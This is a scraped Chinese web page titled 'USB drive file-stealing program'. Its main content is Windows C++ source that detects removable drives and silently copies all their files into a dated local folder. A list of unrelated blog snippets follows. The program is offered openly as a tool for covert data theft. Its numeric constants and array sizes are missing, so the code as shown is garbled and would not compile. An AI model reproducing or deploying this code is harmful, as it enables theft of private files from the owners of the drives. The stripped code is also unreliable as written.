U盘文件偷窃程序
// Drives.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "windows.h"
#include "string.h"
#include "direct.h"
#include "stdlib.h"
char dir[];
wchar_t* char2wchar(char *cStr)
{
size_t len = strlen(cStr)+;
size_t converted = ;
wchar_t *wStr;
wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
return wStr;
}
char* wchar2char(wchar_t *wStr)
{
size_t len = wcslen(wStr)+;
size_t converted = ;
char *cStr;
cStr = (char*)malloc(len*sizeof(char));
wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
return cStr;
}
void Copy(char *FileName)
{
char dir2[];
strcpy(dir2,dir);
char *temp = strchr(FileName,'\\');
temp++;
strcat(dir2,temp);
CopyFile(char2wchar(FileName),char2wchar(dir2),);
}
void CreateDir(char *path)
{
char temp2[];
strcpy(temp2,dir);
char *temp = strchr(path,'\\');
temp++;
strcat(temp2,temp);
_mkdir(temp2); }
void GetFile(char *FilePath)
{
wchar_t* wFilePath = char2wchar(FilePath);
wchar_t temp[],temp1[];
wcscpy_s(temp,wFilePath);
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
wcscat_s(temp,L"*");
hFind = FindFirstFile(temp,&FindFileData);
wprintf(L"%s\n",FindFileData.cFileName);
if(hFind == INVALID_HANDLE_VALUE)
{
return;
}
else
{
do
{
wcscpy_s(temp1,wFilePath);
wcscat_s(temp1,FindFileData.cFileName);
if(wcscmp(FindFileData.cFileName, L".")!=&&wcscmp(FindFileData.cFileName ,L"..")!=)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
wcscat(temp1, L"\\");
CreateDir(wchar2char(temp1));
GetFile(wchar2char(temp1));
}
else
{
Copy(wchar2char(temp1));
}
}
}
while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
int CheckDisk(char *disk)
{
wchar_t *wDisk = char2wchar(disk);
if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
return ;
return ;
}
int Steal()
{
char buf[];
DWORD lod=GetLogicalDrives();
if(lod)
{
for(int i=;i<;i++)
{
if((lod&)==)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(CheckDisk(buf))
{
if(GetVolumeInformation(char2wchar(buf),,,,,,,))//获取磁盘信息
{
GetFile(buf);
}
}
}
lod=lod>>;
}
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
SYSTEMTIME st;
char dtime[],temp[];
GetLocalTime(&st);
_itoa(st.wYear,temp,);
strcpy(dtime,temp);
_itoa(st.wMonth,temp,);
strcat(dtime,temp);
_itoa(st.wDay,temp,);
strcat(dtime,temp);
_itoa(st.wMonth,temp,); _getcwd(dir,);
puts(dir);
strcat(dir,"\\");
strcat(dir,dtime);
strcat(dir,"\\");
_mkdir(dir);//创建新文件夹
Steal(); return ;
}
U盘文件偷窃程序的更多相关文章
- 将U盘分成 启动盘+文件存储区
我看了很多帖子,发现想要将U盘分区的朋友绝大部分是和我一样,想用U盘做成一个启动盘同时兼顾文件存储,分区的目的很简单,就是想将启动部分单独做成一个区,以免在日常的应用中使得启动文件染毒或者误操作造成损 ...
- U盘文件被隐藏
转自https://blog.csdn.net/zichen_ziqi/article/details/80171891 文章原地址:http://www.uqidong.com/help/1625. ...
- win10无法写入删改c盘文件的解决方法
前言 最近使用了win10系统,结果发现无法对c盘的文件进行写入删改,在网上到处搜集资料,终于找到了解决方法,这里总结一下. 首先,本文针对的是win10家庭版,家庭版默认是不提供组策略功能,而我们需 ...
- [Java.File]如果写 File filesFolder = new File("/") ,在windows系统中,filesFolder 会去找哪个盘符? 答案:程序运行路径的根盘符.
首先这段代码在Unix/Linux系统上会去找根路径,但在Windows系统上会去找C:盘还是D:盘还是其它盘呢? 其实它会去找user.dir所在盘符的根目录,user.dir即用户的当前工作目录, ...
- 添加/删除/读写c盘文件——c#
一.前言: 有时候我们为自己的程序添加配置文件,如tet.ini.xml等文件,又或者保存软件运行时的日志 当我们把软件打包后,默认安装在c盘,而配置文件也会跟随生成在安装目录下 此时你会发现,配置文 ...
- 使用javascript实现html页面直接下载网盘文件
公司新建一网站,用的是商派的易开店系统.设计方案中有一个是下载文件的功能,但易开店不支持上传资源,所以无法下载本站资源. 于是想到了网盘资源下载,有些网站是把页面链接到网盘资源文件下载页面,进行二次跳 ...
- linux下U盘文件只读的解决办法
. 在终端运行如下命令 tail -f /var/log/syslog . 插入有只读文件系统故障的U盘 . 观察命令行输出 输出局部如下: Jul :: cslouis-pc kernel: [15 ...
- 【java】 linux下利用nohup后台运行jar文件包程序
Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...
- u盘文件系统故障的修复方法
比如U盘挂载的文件系统是/dev/sda1,且文件系统有故障(FAT: Filesystem error) 修复U盘文件系统故障 sudo dosfsck -v -a /dev/sda1
随机推荐
- spin_lock 和 spin_lock_irqsave
一 .spin_lock_irqsave . spin_unlock_irqrestore 如果自旋锁在中断处理函数中被用到,那么在获取该锁之前需要关闭本地中断,spin_lock_irqsave ...
- ELK_日志分析系统Logstash+ElasticSearch+Kibana4
elk 日志分析系统 Logstash+ElasticSearch+Kibana4 logstash 管理日志和事件的工具 ElasticSearch 搜索 Kibana4 功能强大的数据显示客户端 ...
- 分模块创建maven项目(一)
maven是一个项目构建和管理的工具. 我们可以通过maven仓库可以实现管理构建(主要是JAR还包括:WAR,ZIP,POM等等). 我们可以通过maven插件可以实现编译源代.产生Javadoc文 ...
- Hibernate笔试总结
1.在Hibernate中,以下关于主键生成器说法错误的是(AC). A.increment可以用于类型为long.short或byte的主键. B.identity用于如SQL Server.DB2 ...
- [LintCode] Maximal Rectangle 最大矩形
Given a 2D boolean matrix filled with False and True, find the largest rectangle containing all True ...
- LeetCode 刷题顺序表
Id Question Difficulty Frequency Data Structures Algorithms 1 Two Sum 2 5 array + set sort + two poi ...
- vsphere平台windows虚拟机克隆的小插曲
问题: 1.克隆完windows虚拟化后输入法乱码. 2.开启远程的情况下远程登录输入正确的密码也无法登录. 解决: 1.更改管理员用户密码(不输入原win7密码更改win7密码). 2.重新启用管理 ...
- 理解group by 语句的扩展使用
在SQL的开发中我们会经常使用group by语句对数据进行分组统计,然而在一些复杂的BI报表开发中会常遇到更复杂的分组需求,单单使用group by 就不能解决我们的问题了,这时我们就需要学习了解一 ...
- bzoj4517: [Sdoi2016]排列计数--数学+拓展欧几里得
这道题是数学题,由题目可知,m个稳定数的取法是Cnm 然后剩下n-m本书,由于编号为i的书不能放在i位置,因此其方法数应由错排公式决定,即D(n-m) 错排公式:D[i]=(i-1)*(D[i-1]+ ...
- bug1
1从相册中获取图片,低版本可以,高版本不行.看见抛出 Bitmap too large to be uploaded into a texture 原来是高版本的android,机子好点,相机就好点, ...